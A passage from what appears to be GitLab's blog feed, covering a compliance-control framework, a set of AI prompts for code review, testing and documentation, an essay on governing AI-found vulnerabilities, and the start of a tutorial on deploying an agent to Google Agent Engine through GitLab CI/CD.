</span></span><span class="line" line="5"><span style="--shiki-default:#24292E">    
</span></span><span class="line" line="6"><span style="--shiki-default:#24292E">    L1[&quot;Level 1: Framework&lt;br/&gt;What must be implemented&quot;];
</span></span><span class="line" line="7"><span style="--shiki-default:#24292E">    L2A[&quot;Level 2: GitLab.com&lt;br/&gt;How it&#39;s implemented&quot;];
</span></span><span class="line" line="8"><span style="--shiki-default:#24292E">    L2B[&quot;Level 2: Dedicated&lt;br/&gt;How it&#39;s implemented&quot;];
</span></span><span class="line" line="9"><span style="--shiki-default:#24292E">    L2C[&quot;Level 2: Dedicated for Gov&lt;br/&gt;How it&#39;s implemented&quot;];
</span></span><span class="line" line="10"><span style="--shiki-default:#24292E">    L2D[&quot;Level 2: Entity&lt;br/&gt;(inherited by all)&quot;];
</span></span><span class="line" line="11"><span style="--shiki-default:#24292E">    
</span></span><span class="line" line="12"><span style="--shiki-default:#24292E">    L1--&gt;L2A;
</span></span><span class="line" line="13"><span style="--shiki-default:#24292E">    L1--&gt;L2B;
</span></span><span class="line" line="14"><span style="--shiki-default:#24292E">    L1--&gt;L2C;
</span></span><span class="line" line="15"><span style="--shiki-default:#24292E">    L1--&gt;L2D;
</span></span></code></pre><p><br /><br /></p><p>This separation allows us to maintain one framework with product-specific implementations, rather than managing duplicate frameworks for each offering. Entity controls apply organization-wide and are inherited by GitLab.com, GitLab Dedicated, and GitLab Dedicated for Government.</p><h4 id="adding-context-to-controls">Adding context to controls</h4><p>Traditional control frameworks track minimal information: a control ID, description, and owner. The GCF takes a different approach and its superpower is the extensive metadata we track for each control. Beyond just stating the control description or implementation statement, we capture:</p><ul><li>Control owner: Who is accountable for the control and its risk?</li><li>Environment: Does this apply organization-wide (Entity, inherited by all product offerings), to GitLab.com, or to Dedicated?</li><li>Assets: What specific systems does this control cover?</li><li>Frequency: How often is the control performed or tested?</li><li>Nature: Is it manual, semi-automated, or fully automated?</li><li>Classification: Is this for external certifications or internal risk?</li><li>Testing details: How do we assess it? What evidence do we collect?</li></ul><p>This context transforms the GCF from a simple control list into an operationalized control inventory.</p><p>With this structure, we can answer questions like:</p><ul><li>Which controls apply to GitLab.com for our SOC 2 audit vs. GitLab Dedicated? → Filter by environment: GitLab.com</li><li>What controls does the Infrastructure team own? → Filter by owner</li><li>Which controls can we automate? → Filter by nature: Manual</li></ul><h3 id="_5-iterate-mature-and-scale">5. Iterate, mature, and scale</h3><p>The GCF isn&#39;t static and was designed to evolve with our business and compliance landscape.</p><h4 id="pursuing-new-certifications">Pursuing new certifications</h4><p>Because we&#39;ve operationalized context into the GCF, we can quickly determine the scope and gaps when pursuing new certifications (ISMAP, IRAP, C5, etc.):</p><ol><li>Determine scope: Which product has the business need (GitLab.com, GitLab Dedicated, or both)?</li><li>Map requirements: Do existing controls already cover the new certification requirements?</li><li>Identify gaps: What new controls need to be created?</li><li>Update mappings: Link existing controls to the new certification requirements.</li></ol><h4 id="adapting-to-new-regulations">Adapting to new regulations</h4><p>When new regulations emerge or existing requirements change:</p><ul><li>Review existing controls: Does an existing control already cover the new requirement?</li><li>Update or create: Either update existing control language or create a new control.</li><li>Apply the most stringent: When multiple certifications have similar requirements, we implement the most stringent version — secure once, comply with many.</li><li>Map across certifications: Link the control to all relevant certification requirements.</li></ul><h4 id="managing-control-lifecycle">Managing control lifecycle</h4><p>The framework adapts to various changes:</p><ul><li>Requirement changes: When certifications update their requirements, we review impacted controls and update descriptions or mappings.</li><li>Deprecated controls: If a requirement is removed or a control is no longer needed, we mark it as deprecated and remove it from our monitoring schedule.</li><li>New risks identified: Risk assessments may identify gaps requiring new internal controls.</li></ul><h2 id="the-power-of-common-controls-one-control-multiple-requirements">The power of common controls: One control, multiple requirements</h2><p>Securing once and complying with many isn&#39;t just a principle, it has tangible benefits across how we prepare for audits, support control owners, and pursue new certifications. Here&#39;s what that looks like in practice, both qualitatively and in the numbers.</p><h3 id="qualitative-results">Qualitative results</h3><p>Since implementing the GCF, we&#39;ve seen significant improvements in how we manage compliance:</p><h4 id="integrated-audit-approach">Integrated audit approach</h4><p>The GCF enables us to maintain one framework with controls mapped to multiple certification requirements, instead of managing separate control sets for each audit. One control can satisfy SOC 2, ISO 27001, and PCI DSS requirements simultaneously.</p><h4 id="faster-audit-preparation">Faster audit preparation</h4><p>Through the GCF, we maintain one consolidated request list instead of separate lists for each audit. Because we&#39;ve defined controls with specific context, our request lists say &quot;Okta user list&quot; instead of generic &quot;production user list,&quot; eliminating ambiguity and interpretation. We&#39;re not collecting “N/A” evidence or leaving it up to auditors to interpret what &quot;production&quot; means in our environment. Everything is already scoped to our actual systems.</p><h4 id="reduced-stakeholder-burden">Reduced stakeholder burden</h4><p>This integration directly reduces burden on our stakeholders. Control owners provide evidence once instead of responding to separate requests from SOC 2, ISO, and PCI auditors. When we collect evidence for access controls, it satisfies SOC 2, ISO 27001, and PCI DSS requirements simultaneously. One control, one test, one piece of evidence with multiple certifications and requirements satisfied.</p><h4 id="efficient-gap-assessments">Efficient gap assessments</h4><p>When pursuing new certifications or launching new features, the operationalized context enables more efficient gap analysis. We can determine which controls already exist, what&#39;s missing, and what implementation is required.</p><h3 id="quantifiable-results">Quantifiable results</h3><p><strong>Control efficiency:</strong></p><ul><li>Reduced SOC controls by 58% (200 controls → 84) for GitLab.com and 55% (181 → 82) for GitLab Dedicated</li><li>One framework now supports 8+ certifications</li></ul><p><strong>Audit efficiency:</strong></p><ul><li>Consolidated 4 audit request lists into 1, reducing requests by 44% (415 → 231)</li><li>95% evidence acceptance rate before fieldwork for recent PCI audits</li></ul><p><strong>Framework scale:</strong></p><ul><li>220+ active controls across 18 custom domains</li><li>Mapped to 1,300+ certification requirements</li><li>Supports multiple product offerings</li></ul><h2 id="the-path-forward">The path forward</h2><p>The GCF continues to evolve as we add security and AI controls, pursue new certifications, and refine our approach.</p><p><strong>For security compliance practitioners:</strong> Don&#39;t be afraid to build your own framework if industry standards don&#39;t fit. The upfront investment pays dividends in scalability, efficiency, and controls that actually make sense for your environment. Sometimes the best framework is the one you design yourself.</p><blockquote><p>If you found this helpful, check out our complete <a href="https://handbook.gitlab.com/handbook/security/security-assurance/security-compliance/sec-controls/" rel="">GitLab Control Framework documentation</a>, where we detail our framework methodology, control domains, and field structures.</p></blockquote><style>html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}</style>]]></content>
        <author>
            <name>Davoud Tu</name>
            <uri>https://about.gitlab.com/blog/authors/davoud-tu/</uri>
        </author>
        <published>2026-03-04T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[10 AI prompts to speed your team’s software delivery]]></title>
        <id>https://about.gitlab.com/blog/10-ai-prompts-to-speed-your-teams-software-delivery/</id>
        <link href="https://about.gitlab.com/blog/10-ai-prompts-to-speed-your-teams-software-delivery/"/>
        <updated>2026-03-04T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>AI-assisted coding tools are helping developers generate code faster than ever. So why aren’t teams <em>shipping</em> faster?</p><p>Because coding is only 20% of the software delivery lifecycle, the remaining 80% becomes the bottleneck: code review backlogs grow, security scanning can’t keep pace, documentation falls behind, and manual coordination overhead increases.</p><p>The good news is that the same AI capabilities that accelerate individual coding can eliminate these team-level delays. You just need to apply AI across your entire software lifecycle, not only during the coding phase.</p><p>Below are 10 ready-to-use prompts from the <a href="https://about.gitlab.com/gitlab-duo/prompt-library/" rel="">GitLab Duo Agent Platform Prompt Library</a> that help teams overcome common obstacles to faster software delivery. Each prompt addresses a specific slowdown that emerges when individual productivity increases without corresponding improvements in team processes.</p><h2 id="how-do-you-move-code-review-from-bottleneck-to-accelerator">How do you move code review from bottleneck to accelerator?</h2><p>Developers generate merge requests faster with AI assistance, but human reviewers can quickly become overwhelmed as code review cycles stretch from hours to days. AI can handle routine review tasks, freeing reviewers to focus on architecture and business logic instead of catching basic logical errors and API contract violations.</p><h3 id="review-mr-for-logical-errors">Review MR for logical errors</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Code Review</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Review this MR for logical errors, edge cases, and potential bugs: [MR URL or paste code]
" language="text" meta=""><code>Review this MR for logical errors, edge cases, and potential bugs: [MR URL or paste code]
</code></pre><p><strong>Why it helps</strong>: Automated linters catch syntax issues, but logical errors require understanding intent. This prompt catches bugs before human reviewers even look at the code, reducing review cycles from multiple rounds to often just one approval.</p><h3 id="identify-breaking-changes-in-mr">Identify breaking changes in MR</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Code Review</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Does this MR introduce any breaking changes?

Changes:
[PASTE CODE DIFF]

Check for:
1. API signature changes
2. Removed or renamed public methods
3. Changed return types
4. Modified database schemas
5. Breaking configuration changes
" language="text" meta=""><code>Does this MR introduce any breaking changes?

Changes:
[PASTE CODE DIFF]

Check for:
1. API signature changes
2. Removed or renamed public methods
3. Changed return types
4. Modified database schemas
5. Breaking configuration changes
</code></pre><p><strong>Why it helps</strong>: Breaking changes discovered during deployment can cause rollbacks and incidents. This prompt shifts that discovery left to the MR stage, when fixes are faster and less expensive.</p><h2 id="how-can-you-shift-security-left-without-slowing-down">How can you shift security left without slowing down?</h2><p>Security scans generate hundreds of findings. Security teams manually triage each one while developers wait for approval to deploy. Most findings are false positives or low-risk issues, but identifying the real threats requires expertise and time. AI can prioritize findings by actual exploitability and auto-remediate common vulnerabilities, allowing security teams to focus on the threats that matter.</p><h3 id="analyze-security-scan-results">Analyze security scan results</h3><p><strong>Complexity</strong>: Intermediate</p><p><strong>Category</strong>: Security</p><p><strong>Agent</strong>: Duo Security Analyst</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="@security_analyst Analyze these security scan results:

[PASTE SCAN OUTPUT]

For each finding:
1. Assess real risk vs false positive
2. Explain the vulnerability
3. Suggest remediation
4. Prioritize by severity
" language="text" meta=""><code>@security_analyst Analyze these security scan results:

[PASTE SCAN OUTPUT]

For each finding:
1. Assess real risk vs false positive
2. Explain the vulnerability
3. Suggest remediation
4. Prioritize by severity
</code></pre><p><strong>Why it helps</strong>: Most security scan findings are false positives or low-risk issues. This prompt helps security teams focus on the findings that actually matter, reducing remediation time from weeks to days.</p><h3 id="review-code-for-security-issues">Review code for security issues</h3><p><strong>Complexity</strong>: Intermediate</p><p><strong>Category</strong>: Security</p><p><strong>Agent</strong>: Duo Security Analyst</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="@security_analyst Review this code for security issues:

[PASTE CODE]

Check for:
1. Injection vulnerabilities
2. Authentication/authorization flaws
3. Data exposure risks
4. Insecure dependencies
5. Cryptographic issues
" language="text" meta=""><code>@security_analyst Review this code for security issues:

[PASTE CODE]

Check for:
1. Injection vulnerabilities
2. Authentication/authorization flaws
3. Data exposure risks
4. Insecure dependencies
5. Cryptographic issues
</code></pre><p><strong>Why it helps</strong>: Traditional security reviews happen after code is written. This prompt enables developers to find and fix security issues before creating an MR, eliminating the back and forth that delays deployments.</p><h2 id="how-do-you-keep-documentation-current-as-code-changes">How do you keep documentation current as code changes?</h2><p>Code changes faster than documentation. Onboarding new developers takes weeks because docs are outdated or missing. Teams know documentation is important, but it always gets deferred when deadlines approach. Automating documentation generation and updates as part of your standard workflow ensures docs stay current without adding manual work.</p><h3 id="generate-release-notes-from-mrs">Generate release notes from MRs</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Documentation</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Generate release notes for these merged MRs:
[LIST MR URLs or paste titles]

Group by:
1. New features
2. Bug fixes
3. Performance improvements
4. Breaking changes
5. Deprecations
" language="text" meta=""><code>Generate release notes for these merged MRs:
[LIST MR URLs or paste titles]

Group by:
1. New features
2. Bug fixes
3. Performance improvements
4. Breaking changes
5. Deprecations
</code></pre><p><strong>Why it helps</strong>: Manual release note compilation takes hours and often includes errors or omissions. Automated generation ensures every release has comprehensive notes without adding work to your release process.</p><h3 id="update-documentation-after-code-changes">Update documentation after code changes</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Documentation</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="I changed this code:

[PASTE CODE CHANGES]

What documentation needs updating? Check:
1. README files
2. API documentation
3. Architecture diagrams
4. Onboarding guides
" language="text" meta=""><code>I changed this code:

[PASTE CODE CHANGES]

What documentation needs updating? Check:
1. README files
2. API documentation
3. Architecture diagrams
4. Onboarding guides
</code></pre><p><strong>Why it helps</strong>: Documentation drift happens because teams forget which docs need updates after code changes. This prompt makes documentation maintenance part of your development workflow, not a separate task that gets deferred.</p><h2 id="how-do-you-break-down-planning-complexity">How do you break down planning complexity?</h2><p>Large features get stuck in planning. Teams spend weeks in meetings trying to scope work and identify dependencies. The complexity feels overwhelming, and it&#39;s hard to know where to start. AI can systematically decompose complex work into concrete, implementable tasks with clear dependencies and acceptance criteria, transforming weeks of planning into focused implementation.</p><h3 id="break-down-epic-into-issues">Break down epic into issues</h3><p><strong>Complexity</strong>: Intermediate</p><p><strong>Category</strong>: Documentation</p><p><strong>Agent</strong>: Duo Planner</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Break down this epic into implementable issues:

[EPIC DESCRIPTION]

Consider:
1. Technical dependencies
2. Reasonable issue sizes
3. Clear acceptance criteria
4. Logical implementation order
" language="text" meta=""><code>Break down this epic into implementable issues:

[EPIC DESCRIPTION]

Consider:
1. Technical dependencies
2. Reasonable issue sizes
3. Clear acceptance criteria
4. Logical implementation order
</code></pre><p><strong>Why it helps</strong>: This prompt transforms a week of planning meetings into 30 minutes of AI-assisted decomposition followed by team review. Teams start implementation sooner with clearer direction.</p><h2 id="how-can-you-expand-test-coverage-without-expanding-effort">How can you expand test coverage without expanding effort?</h2><p>Developers are writing code faster, but if testing doesn&#39;t keep pace, test coverage decreases and bugs slip through. Writing comprehensive tests manually is time-consuming, and developers often miss edge cases under deadline pressure. Generating tests automatically means developers can review and refine rather than write from scratch, maintaining quality without sacrificing velocity.</p><h3 id="generate-unit-tests">Generate unit tests</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Testing</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Generate unit tests for this function:

[PASTE FUNCTION]

Include tests for:
1. Happy path
2. Edge cases
3. Error conditions
4. Boundary values
5. Invalid inputs
" language="text" meta=""><code>Generate unit tests for this function:

[PASTE FUNCTION]

Include tests for:
1. Happy path
2. Edge cases
3. Error conditions
4. Boundary values
5. Invalid inputs
</code></pre><p><strong>Why it helps</strong>: Writing tests manually is time consuming, and developers often miss edge cases. This prompt generates thorough test suites in seconds, which developers can review and adjust rather than write from scratch.</p><h3 id="review-test-coverage-gaps">Review test coverage gaps</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Testing</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="Analyze test coverage for [MODULE/COMPONENT]:

Current coverage: [PERCENTAGE]

Identify:
1. Untested functions/methods
2. Uncovered edge cases
3. Missing error scenario tests
4. Integration points without tests
5. Priority areas to test next
" language="text" meta=""><code>Analyze test coverage for [MODULE/COMPONENT]:

Current coverage: [PERCENTAGE]

Identify:
1. Untested functions/methods
2. Uncovered edge cases
3. Missing error scenario tests
4. Integration points without tests
5. Priority areas to test next
</code></pre><p><strong>Why it helps</strong>: This prompt reveals blind spots in your test suite before they cause production incidents. Teams can systematically improve coverage where it matters most.</p><h2 id="how-do-you-reduce-mean-time-to-resolution-when-debugging">How do you reduce mean time to resolution when debugging?</h2><p>Production incidents take hours to diagnose. Developers wade through logs and stack traces while customers experience downtime. Every minute of debugging is a minute of lost productivity and potential revenue. AI can accelerate root cause analysis by parsing complex error messages and suggesting specific fixes, cutting diagnostic time from hours to minutes.</p><h3 id="debug-failing-pipeline">Debug failing pipeline</h3><p><strong>Complexity</strong>: Beginner</p><p><strong>Category</strong>: Debugging</p><p><strong>Prompt from library</strong>:</p><pre className="language-text" code="This pipeline is failing:

Job: [JOB NAME]
Stage: [STAGE]
Error: [PASTE ERROR MESSAGE/LOG]

Help me:
1. Identify the root cause
2. Suggest a fix
3. Explain why it started failing
4. Prevent similar issues
" language="text" meta=""><code>This pipeline is failing:

Job: [JOB NAME]
Stage: [STAGE]
Error: [PASTE ERROR MESSAGE/LOG]

Help me:
1. Identify the root cause
2. Suggest a fix
3. Explain why it started failing
4. Prevent similar issues
</code></pre><p><strong>Why it helps</strong>: CI/CD failures block entire teams. This prompt diagnoses failures in seconds instead of the 15-30 minutes developers typically spend investigating, keeping deployment velocity high.</p><h2 id="moving-from-individual-gains-to-team-acceleration">Moving from individual gains to team acceleration</h2><p>These prompts represent a shift in how teams apply AI to software delivery. Rather than focusing solely on individual developer productivity, they address the coordination, quality, and knowledge-sharing challenges that actually constrain team velocity.</p><p>The <a href="https://about.gitlab.com/gitlab-duo/prompt-library/" rel="">complete prompt library</a> contains more than 100 prompts across all stages of the software lifecycle: planning, development, security, testing, deployment, and operations. Each prompt is tagged by complexity level (Beginner, Intermediate, Advanced) and categorized by use case, making it easy to find the right starting point for your team.</p><p>Start with prompts tagged “Beginner” that address your team’s most pressing obstacles. As your team builds confidence, explore intermediate and advanced prompts that enable more sophisticated workflows. The goal is not just faster coding — it&#39;s faster, safer, higher-quality software delivery from planning through production.</p>]]></content>
        <author>
            <name>Chandler Gibbons</name>
            <uri>https://about.gitlab.com/blog/authors/chandler-gibbons/</uri>
        </author>
        <published>2026-03-04T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[AI can detect vulnerabilities, but who governs risk?]]></title>
        <id>https://about.gitlab.com/blog/ai-can-detect-vulnerabilities-but-who-governs-risk/</id>
        <link href="https://about.gitlab.com/blog/ai-can-detect-vulnerabilities-but-who-governs-risk/"/>
        <updated>2026-02-27T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>Anthropic recently announced Claude Code Security, an AI system that detects vulnerabilities and proposes fixes. The market reacted immediately, with security stocks dipping as investors questioned whether AI might replace traditional AppSec tools. The question on everyone&#39;s mind: If AI can write code and secure it, is application security about to become obsolete?</p><p>If security only meant scanning code, the answer might be yes. But enterprise security has never been about detection alone.</p><p>Organizations are not asking whether AI can find vulnerabilities. They are asking three much harder questions:</p><ul><li>Is what we are about to ship safe?</li><li>Has our risk posture changed as environments evolve and dependencies, third-party services, tools, and infrastructure continuously shift?</li><li>How do we govern a codebase that is increasingly assembled by AI and third-party sources, and that we are still accountable for?</li></ul><p>Those questions require a platform answer: Detection surfaces risk, but governance determines what happens next.</p><p><a href="https://about.gitlab.com/" rel="">GitLab</a> is the orchestration layer built to govern the software lifecycle end-to-end. It gives teams the enforcement, visibility, and auditability they need to keep pace with the speed of AI-assisted development.</p><h2 id="trusting-ai-requires-governing-risk">Trusting AI requires governing risk</h2><p>AI systems are rapidly getting better at identifying vulnerabilities and suggesting fixes. This is a meaningful and welcome advancement, but analysis is not accountability.</p><p>AI cannot enforce company policy or define acceptable risk on its own. Humans must set the boundaries, policies, and guardrails that agents operate within, establishing separation of duties, ensuring audit trails, and maintaining consistent controls across thousands of repositories and teams. Trust in agents comes not from autonomy alone, but from clearly defined governance set by people.</p><p>In an <a href="https://about.gitlab.com/topics/agentic-ai/" rel="">agentic world</a>, where software is increasingly written and modified by autonomous systems, governance becomes more important, not less. The more autonomy organizations grant to AI, the stronger the governance must be.</p><p>Governance is not friction. It is the foundation that makes AI-assisted development trustworthy at scale.</p><h2 id="llms-see-code-but-platforms-see-context">LLMs see code, but platforms see context</h2><p>A large language model (<a href="https://about.gitlab.com/blog/what-is-a-large-language-model-llm/" rel="">LLM</a>) evaluates code in isolation. An enterprise application security platform understands context. This difference matters because risk decisions are contextual:</p><ul><li>Who authored the change?</li><li>How critical is the application to the business?</li><li>How does it interact with infrastructure and dependencies?</li><li>Does the vulnerability exist in code that is actually reachable in production, or is it buried in a dependency that never executes?</li><li>Is it actually exploitable in production, given how the application runs, its APIs, and the environment around it?</li></ul><p>Security decisions depend on this context. Without it, detection produces noisy alerts that slow down development rather than reducing risk. With it, organizations can triage quickly and manage risk effectively. Context evolves continuously as software changes, which means governance cannot be a one-time decision.</p><h2 id="static-scans-cant-keep-up-with-dynamic-risk">Static scans can’t keep up with dynamic risk</h2><p>Software risk is dynamic. Dependencies change, environments evolve, and systems interact in ways no single analysis can fully predict. A clean scan at one moment does not guarantee safety at release.</p><p>Enterprise security depends on continuous assurance: controls embedded directly into development workflows that evaluate risk as software is built, tested, and deployed.</p><p>Detection provides insight. Governance provides trust. Continuous governance is what allows organizations to ship safely at scale.</p><h2 id="governing-the-agentic-future">Governing the agentic future</h2><p>AI is reshaping how software is created. The question is no longer whether teams will use AI, but how safely they can scale it.</p><p>Software today is assembled as much as it is written, from AI-generated code, open-source libraries, and third-party dependencies that span thousands of projects. Governing what ships across all of those sources is the hardest and most consequential part of application security, and it is the part that no developer-side tool is built to address.</p><p>As an intelligent orchestration platform, GitLab is built to address this problem. GitLab Ultimate embeds governance, policy enforcement, security scanning, and auditability directly into the workflows where software is planned, built, and shipped, so security teams can govern at the speed of AI.</p><p>AI will accelerate development dramatically. The organizations that benefit most from AI will not be those with the smartest assistants alone, but those that build trust through strong governance.</p><blockquote><p>To learn how GitLab helps organizations <a href="https://about.gitlab.com/solutions/software-compliance/?utm_medium=blog&amp;utm_campaign=eg_global_x_x_security_en_" rel="">govern and ship AI-generated code</a> safely, <a href="https://about.gitlab.com/sales/?utm_medium=blog&amp;utm_campaign=eg_global_x_x_security_en_" rel="">talk to our team today</a></p></blockquote><h2 id="related-reading">Related reading</h2><ul><li><a href="https://about.gitlab.com/topics/devops/ai-enhanced-security/" rel="">Integrating AI with DevOps for enhanced security</a></li><li><a href="https://about.gitlab.com/blog/the-gitlab-ai-security-framework-for-security-leaders/" rel="">The GitLab AI Security Framework for security leaders</a></li><li><a href="https://about.gitlab.com/blog/improve-ai-security-in-gitlab-with-composite-identities/" rel="">Improve AI security in GitLab with composite identities</a></li></ul>]]></content>
        <author>
            <name>Omer Azaria</name>
            <uri>https://about.gitlab.com/blog/authors/omer-azaria/</uri>
        </author>
        <published>2026-02-27T00:00:00.000Z</published>
    </entry>
    <entry>
        <title type="html"><![CDATA[Secure and fast deployments to Google Agent Engine with GitLab]]></title>
        <id>https://about.gitlab.com/blog/secure-and-fast-deployments-to-google-agent-engine-with-gitlab/</id>
        <link href="https://about.gitlab.com/blog/secure-and-fast-deployments-to-google-agent-engine-with-gitlab/"/>
        <updated>2026-02-26T00:00:00.000Z</updated>
        <content type="html"><![CDATA[<p>In this tutorial, you&#39;ll learn how to deploy an AI agent built with Google&#39;s Agent Development Kit (<a href="https://google.github.io/adk-docs/" rel="">ADK</a>) to <a href="https://cloud.google.com/vertex-ai/generative-ai/docs/agent-engine/overview" rel="">Agent Engine</a> using GitLab&#39;s native Google Cloud integration and CI/CD pipelines. We&#39;ll cover IAM configuration, pipeline setup, and testing your deployed agent.</p><h2 id="what-is-agent-engine-and-why-does-it-matter">What is Agent Engine and why does it matter?</h2><p>Agent Engine is Google Cloud&#39;s managed runtime specifically designed for AI agents. Think of it as the production home for your agents — where they live, run, and scale without you having to manage the underlying infrastructure. Agent Engine handles infrastructure, scaling, session management, and memory storage so you can focus on building your agent — not managing servers. It also integrates natively with Google Cloud&#39;s logging, monitoring, and IAM.</p><h2 id="why-use-gitlab-to-deploy-to-agent-engine">Why use GitLab to deploy to Agent Engine?</h2><p>AI agent deployment is typically difficult to configure correctly. Security considerations, CI/CD orchestration, and cloud permissions create friction that slows down development cycles.</p><p>GitLab streamlines this entire process while enhancing security:</p><ul><li><strong>Built-in security scanning</strong> — Every deployment is automatically scanned for vulnerabilities without additional configuration.</li><li><strong>Native Google Cloud integration</strong> — Workload Identity Federation eliminates the need for service account keys.</li><li><strong>Simplified CI/CD</strong> — GitLab&#39;s templates handle complex deployment logic.</li></ul><h2 id="prerequisites">Prerequisites</h2><p>Before you begin, ensure you have:</p><ul><li>A Google Cloud project with the following APIs enabled:
<ul><li>Cloud Storage API</li><li>Vertex AI API</li></ul></li><li>A GitLab project for your source code and CI/CD pipeline</li><li>A Google Cloud Storage bucket for staging deployments</li><li>Google Cloud IAM integration configured in GitLab (see Step 1)</li></ul><p>Here are the steps to follow.</p><h2 id="_1-configure-iam-integration">1. Configure IAM integration</h2><p>The foundation of secure deployment is proper IAM configuration between GitLab and Google Cloud using Workload Identity Federation.</p><p>In your GitLab project:</p><ol><li>Navigate to <strong>Settings &gt; Integrations</strong>.</li><li>Locate the <strong>Google Cloud IAM</strong> integration.</li><li>Provide the following information:
<ul><li><strong>Project ID</strong>: Your Google Cloud project ID</li><li><strong>Project Number</strong>: Found in your Google Cloud console</li><li><strong>Workload Identity Pool ID</strong>: A unique identifier for your identity pool</li><li><strong>Provider ID</strong>: A unique identifier for your identity provider</li></ul></li></ol><p>GitLab generates a script for you. Copy and run this script in Google Cloud Shell to establish the Workload Identity Federation between platforms.</p><p><strong>Important:</strong> Add these additional roles to your service principal for Agent Engine deployment:</p><ul><li><code className="">roles/aiplatform.user</code></li><li><code className="">roles/storage.objectAdmin</code></li></ul><p>You can add these roles using gcloud commands:</p><pre className="language-bash shiki shiki-themes github-light" code="GCP_PROJECT_ID=&quot;&lt;your-project-id&gt;&quot;
GCP_PROJECT_NUMBER=&quot;&lt;your-project-number&gt;&quot;
GCP_WORKLOAD_IDENTITY_POOL=&quot;&lt;your-pool-id&gt;&quot;

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member=&quot;principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true&quot; \
  --role=&#39;roles/aiplatform.user&#39;

gcloud projects add-iam-policy-binding ${GCP_PROJECT_ID} \
  --member=&quot;principalSet://iam.googleapis.com/projects/${GCP_PROJECT_NUMBER}/locations/global/workloadIdentityPools/${GCP_WORKLOAD_IDENTITY_POOL}/attribute.developer_access/true&quot; \
  --role=&#39;roles/storage.objectAdmin&#39;
" language="bash" meta="" style=""><code><span class="line" line="1"><span style="--shiki-default:#24292E">GCP_PROJECT_ID</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-project-id&gt;&quot;
</span></span><span class="line" line="2"><span style="--shiki-default:#24292E">GCP_PROJECT_NUMBER</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-project-number&gt;&quot;
</span></span><span class="line" line="3"><span style="--shiki-default:#24292E">GCP_WORKLOAD_IDENTITY_POOL</span><span style="--shiki-default:#D73A49">=</span><span style="--shiki-default:#032F62">&quot;&lt;your-pool-id&gt;&quot;
</span></span><span class="line" line="4"><span emptyLinePlaceholder>
</span></span><span class="line" line="5"><span style="--shiki-default:#6F42C1">gcloud</span><span style="--shiki-default:#032F62"> projects</span><span style="--shiki-default:#032F62"> add-iam-policy-binding</span><span style="--shiki-default:#24292E"> ${GCP_PROJECT_ID} </span><span style="--shiki-default:#005CC5">\
</span></span><span class="line" line="6"><span style="--shiki-default:#005CC5">  --member=</span><span style="--shiki-default:#032F62">&quot;principalSet://iam.googleapis.com/projects/${</span><span style="--shiki-default:#24292E">GCP_PROJECT_NUMBER</span><span style="--shiki-default:#032F62">}/locations/global/workloadIdentityPools/${</span><span style="--shiki-default:#24292E">GCP_WORKLOAD_IDENTITY_POOL</span><span style="--shiki-default:#032F62">}/attribute.developer_access/true&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="7"><span style="--shiki-default:#005CC5">  --role=</span><span style="--shiki-default:#032F62">&#39;roles/aiplatform.user&#39;
</span></span><span class="line" line="8"><span emptyLinePlaceholder>
</span></span><span class="line" line="9"><span style="--shiki-default:#6F42C1">gcloud</span><span style="--shiki-default:#032F62"> projects</span><span style="--shiki-default:#032F62"> add-iam-policy-binding</span><span style="--shiki-default:#24292E"> ${GCP_PROJECT_ID} </span><span style="--shiki-default:#005CC5">\
</span></span><span class="line" line="10"><span style="--shiki-default:#005CC5">  --member=</span><span style="--shiki-default:#032F62">&quot;principalSet://iam.googleapis.com/projects/${</span><span style="--shiki-default:#24292E">GCP_PROJECT_NUMBER</span><span style="--shiki-default:#032F62">}/locations/global/workloadIdentityPools/${</span><span style="--shiki-default:#24292E">GCP_WORKLOAD_IDENTITY_POOL</span><span style="--shiki-default:#032F62">}/attribute.developer_access/true&quot;</span><span style="--shiki-default:#005CC5"> \
</span></span><span class="line" line="11"><span style="--shiki-default:#005CC5">  --role=</span><span style="--shiki-default:#032F62">&#39;roles/storage.objectAdmin&#39;
</span></span></code></pre><h2 id="_2-create-the-cicd-pipeline">2. Create the CI/CD pipeline</h2><p>Now for the core of the deployment — the CI/CD pipeline. Create a <code className="">.gitlab-ci.yml</code> file in your project root:</p><pre className="language-yaml shiki shiki-themes github-light" code="stages:
  - test
  - deploy

cache:
  paths:
    - .cache/pip
  key: ${CI_COMMIT_REF_SLUG}

variables:
  GCP_PROJECT_ID: &quot;&lt;your-project-id&gt;&quot;
  GCP_REGION: &quot;us-central1&quot;
  STORAGE_BUCKET: &quot;&lt;your-staging-bucket&gt;&quot;
  AGENT_NAME: &quot;Canada City Advisor&quot;
  AGENT_ENTRY: &quot;canada_city_advisor&quot;

image: google/cloud-sdk:slim

# Security scanning templates
include:
